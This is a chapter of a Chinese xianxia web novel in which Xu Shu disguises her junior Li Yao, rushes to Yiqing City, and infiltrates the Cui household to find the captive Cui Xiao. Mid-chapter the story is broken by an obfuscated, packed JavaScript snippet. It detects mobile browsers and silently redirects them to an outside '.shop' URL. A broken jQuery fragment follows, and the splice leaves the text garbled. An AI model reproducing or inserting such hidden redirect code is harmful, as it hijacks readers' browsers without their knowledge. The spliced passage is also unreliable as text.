“黎瑶本身就出生于蓬莱,恰逢不久,黎家家主祝寿。她作为小女儿,想寻件珍宝作为生辰礼物献给父亲,很正常。”
瀛洲有秘境,山中有玉醴泉水,饮之甘醇如酒,黎家家主年轻时喝过一次后便念念不忘,后来几次前往却都不逢时,没遇上秘境开启的时候。
东海边岸最近传来消息,这段日子瀛洲方向的海面常有彩霞升起,蜃气蒸腾,空中楼阁虚影时现,与幼时父亲与她讲述的经历何其相似,黎瑶便想着去碰碰运气。
只是当初黎家家主进秘境时修为臻至元婴,故而全身而退,同行中修为不够者经历多有困苦。
因此这位修为只有金丹的黎家小姐,想找个元婴的修士保障安全,陪护她去瀛洲下秘境找那玉醴泉。
正巧落云师姐徐殊早已不耐带孩子的差事,也要往蓬莱去,看见了这瀛洲的任务,想着顺路便领了。
两人下了山往东飞去,有人在高处遥望许久直到再不见二者踪迹,这才回房提笔一些下:徐殊已往蓬莱,并未起疑。
随后将信封好,送到务事堂,没选加急,和弟子谈笑几句,不紧不慢地走了。
等他走后不久,明远从侧房踱出,拿出刚放进去的那封信,神识一扫,面上没什么反应地又把信放进寄信的箩筐,摇着扇子回了主殿。
这边,徐殊带着黎瑶飞了半日,在一百余里外的一处荒山落下。
黎瑶不肯告诉李逢久的其中一项手艺就是易容,她在徐殊脸上鼓捣了一会,举着镜子给她看。
徐殊看见镜子里略显平淡陌生的五官,摸了摸高了不少的颧骨,挑眉。
黎瑶见她没有意见,就拿走镜子给自己做,等她再回头,徐殊伸手捏住她的下巴,仔细打量。
片刻后放手,她有些惊奇道:“我用识海灵力和法器都探查了骨相,竟都没有一丝破绽。”
“好手艺。”徐殊眼神赞赏地看着她。
黎瑶羞涩低头。
“只是接下来要辛苦一下了。”徐殊向最近的城镇眺望,少说还有二十里。
黎瑶:“我能跟上的!”
“啊,不需要你跟。”徐殊眼神有一瞬间的飘忽,“不晕车吧?”
黎瑶茫然:“啊?”
下一刻,她看着这位师姐掏出一个透明小瓶,食指弯曲轻叩瓶身,对她缓慢地露出了一个不可言说的笑,轻轻地喊她:“黎瑶。”
“师姐有什么——”
“哇!”
黎瑶“唰”地一下被吸入瓶中,一屁股摔下来摔得她眼冒金星,等她清醒过来,看见徐殊易容后又放大的脸。
师姐这个时候说话依旧轻轻柔柔的,问她:“你想待在乾坤袖里还是在外面看风景?”
黎瑶被温柔的3d人声环绕,意识又开始飘飘然了,磕磕跘跘地凭直觉回答:“在、在外面吧。”
“行。”于是徐殊把腰间玉坠取下,系上小瓶子,指尖略略点了点,“坐稳了,受不了就跟我说。”
“好。”
尾音未落,视野里的景物忽地开始扭曲形状地向后奔跑。
黎瑶感觉自己的耳朵有些发胀,举起双手捂住双耳,好不容易站稳又在徐殊一个飞跃后跌回瓶底,本就不甚清晰的意识愈发模糊了。
此时晕头转向的还有一……碎片?
镜片在识海里不停作呕:“徐殊你这个——哕——”
中途徐殊在附近城镇停了一下,买了些东西,黎瑶和镜片得以稍稍喘了口气。
稍稍。
徐殊脚步不停地花了半个小时把镇上的店都逛了一遍,将买到的东西略微整理一下丢进乾坤袋,将手腕脚踝的束带扯得更紧一点,随后大跨步向西边狂奔,激起一大片的烟尘。
“哕!!!!”
天道碎片不知道这个宿主在没和它相遇的时候都经历了什么,一具肉身强度练的比钢板还硬,两条腿抡的飞快,呼啸的强风卷烟带沙,迷了路人的眼,等他们再睁眼时,空旷的平地上什么都没有。
此后,一则有关“黄沙精怪”的传说在九州东部开始兴起……
不过这都和徐殊关系了。
接下来的几天,两人一碎片就维持着赶路、停下修整、呕吐吐不出来、继续赶路的日程,到浥轻城的时候只花了四日不到的时间——正常御剑也要飞七日啊!
黎瑶脸色苍白的盘腿坐在床上,裹着被子,眼神空游无所依,仿佛魂魄已经飞天而去,剩下的躯壳不过是一具破损的容器。
她终于明白,李逢久为什么会在她答应帮忙后还反复向她确认她的身体情况。
徐师姐她、她、她——这个身体素质,这个精力强度,这个灵力储备,真的只有元婴吗!
徐殊在客栈把她安置好,又风风火火地出门,在城内绕了一圈,提着大大小小的包袱回到房间,放在桌上找出四五个小瓷瓶,两只手几个手指头夹着,一口气走到床边,一瓶瓶地打开,倒出丹药在掌心递到黎瑶嘴边,低声道:“吃了,会好受点。”
黎瑶机械张嘴,感受到徐殊的掌心往自己这边翻,嘴唇微微蹭过手掌,感觉硬硬的。
是茧子吗?
她无端想。
徐殊看少女乖巧咽下一颗接一颗的药丸,宽慰地拍了拍她的背,又往她嘴里塞了个不小的东西。
黎瑶下意识嚼了嚼,带着果香的甜蜜味道在舌尖泛起,弥漫到整个口腔。
她振作点精神,睁着眼睛看向徐殊。
“好吃吧?”徐殊的表情有些许得意,“浥轻城特产,别的地方可没有这种果脯。我跑了好几家才找到的。”
“师姐以前来过这里?”
“没有,都是崔师兄给我带的。”说着她自己也拿了块塞进嘴里,咀嚼时眼睛微微眯起,整个人看起来很是快活。
“可惜没找到我最喜欢的那款,桃子做的。”徐殊跑去桌边翻了翻,最后把那一堆都给抱过来给黎瑶挑,“不知道崔晓在哪里买的,城里卖糖的店我都跑了一遍。”
黎瑶接过她兜在怀里的果脯,瞧见她说着说着就垂下来的眉,和频频向窗外瞥去的瞳孔,踌躇开口询问:“师姐打算什么时候去找崔师兄?”
徐殊摸了摸少女的头:“等你好点再说。反正通风报信的消息还没送过来,还有时间修整。”
“师姐是否有些小瞧我了?吃过药我已经感觉好了不少。”黎瑶摇头,握住她要收回去的手,“更何况我是来帮忙的,而不是来给师姐添麻烦的。”
“师姐赶路赶得这般急切,又何必在我身上耽搁时间?”
“崔师兄现在状况不明,我们先确认一下他的处境才是正事。”
徐殊有些意外,盯着眼前表情坚定的少女,反手抓住她握过来的手,感激道:“多谢师妹体谅。”
“我今夜就去崔府踩点,你自己一个人多加惊醒。”
她交给黎瑶一枚信号弹:“有事就用这个叫我,如若有什么不对劲,你自己先走,不必管我。”
黎瑶接过来点了点头。
徐殊长舒一口气,走到窗边,远望城中心的城主府,最靠近城主府最大的一片建筑,就是崔家的所在地。
崔晓会被关在哪呢?
月上梢头,徐殊蹲在崔家祠堂房顶对着这一片绵绵不绝又一模一样的房子陷入沉思。
陆陆续续有列队的侍卫在底下巡逻,不过修为都不高,最高的小头领才筑基,丝毫察觉不到自己头顶上蹲着个元婴。
据她的了解,崔氏是个很传统很重视传承的家族。
这种家族一般对祠堂看得很重要,会加派不少人手看护。
巡逻侍卫最多的除了祠堂,还有家主的院子和书房、最中间的藏书阁、花园假山等地方。
她估摸着假山底下应该有个藏宝库。
今天的目标不是这个。
徐殊站起来,审视
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728800|208915||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着重点怀疑的几个小院,要么偏要么不起眼,但是巡逻队伍的排班十分紧密。
绝对有问题。
今天晚上一间一间探查绝对来不及,效率低,还容易打草惊蛇。
鬼知道院子里装的是什么。
而且徐殊不是个喜欢无功而返的人。
她敛息收气在屋檐上跳跃行走,每一次落脚都悄无声息,贴在巡夜的队伍后面,借着功法和法器使劲压低自己的存在感,竖着耳朵想听听有没有什么只言片语可以作为线索。
跟了一会才发现,这群人纪律真不错啊,没一个人开口闲聊。
崔家怎么训的。
徐殊在心里啧了好几声,决定求助外援。
“醒一醒。”她有意识地在自己的识海里掀起一股巨浪,沉在深处睡觉的某碎片被扬着飞起来。
“徐殊——”被吵醒的镜片愤怒,抓狂,凶狠!
“干活。”
徐殊在识海里幻化出一只手接住下落的碎片,言简意赅:“飞过去看看这几个院子有没有崔晓。”
“凭什么让我——”
“男主。”徐殊盯着在她眼前显形的碎片,咬字重复,“他是男主之一。”
镜片无能狂怒地上下摇摆,在徐殊的指挥下一一探查了她的怀疑点。
结论是:都没有。
“怎么回——嘶,不对。”
徐殊突然想起来,写信者千方百计地想瞒住逍遥门的人,是为了阻止有人从外救崔晓。
但自救呢?这么久了背后人会还想不到阻止自救的办法吗?
比如封灵力、灌药、下毒,或是挟人质威胁?
能让崔晓那个大冤种安分留下来的手段可不少。
这种情况下,反而不需要用太多人手看守他。
眼见着月亮西偏下树,东方微微泛起灰白,徐殊大脑飞速旋转,犹豫着是先离开还是赌一把。
此时有凡人仆从打着哈欠起来,要去给主子们准备早饭。
她想了想,隐去身形跟在后面,听几个人在那小声蛐蛐八卦抱怨。
“昨天的菜……不新鲜……挨骂……”
“东院的少爷嘴真挑……”
“新门客要吃……”
徐殊根据他们透露出来的信息一一补全脑海中的地图。
东院是主支的小辈住的,西院是门客住的,后院是主支家眷……还有其他依附于主府的崔家分支……
二房的吃食多了份量,但没银子补上,家主也没吩咐,只叫他们照二房说的办……
导致这两个月管事的缩减了他们的月银……真不公平,明明只是管事少贪一点的事……
嗯?
徐殊眼睛眯起来了。
主支二房,她记得是在——
天要亮了。
巡夜的侍卫们面容倦怠地与人交接,勤奋的子弟早起练剑读书,本来暗着的家主主院点起了灯。
生气开始焕发。
只是对于某些人来说,这是又一日无望的延续。
有人支起窗,坐在窗边给自己倒了杯冷茶,抬头看被四方院墙围起来的天,抬手无力地晃了晃茶杯,递到嘴边停住,整个人仿佛凝滞的石像,一动不动。
片刻后,苍白的唇泄出口虚虚的气,仰头就要喝下。
一只手突然横穿过来夺过那杯茶。
“不想喝就别喝。”
徐殊伸手将茶水泼向窗外,顺手关上刚支起不久的窗。
屋内瞬间暗了下来。
她放下杯子,回头看着对面披肩散发的人,凑过去摸他的脸,摸到有些明显的颧骨,又去抓他的手,用灵力探了一遍经脉。
属于她的灵力畅通无阻地在他身体里游荡,缠着经脉向下蔓延,小心翼翼触及到最深处。
那里空无一物。
霎时,昏暗的环境里响起了一阵很明显的磨牙声:“谁干的?”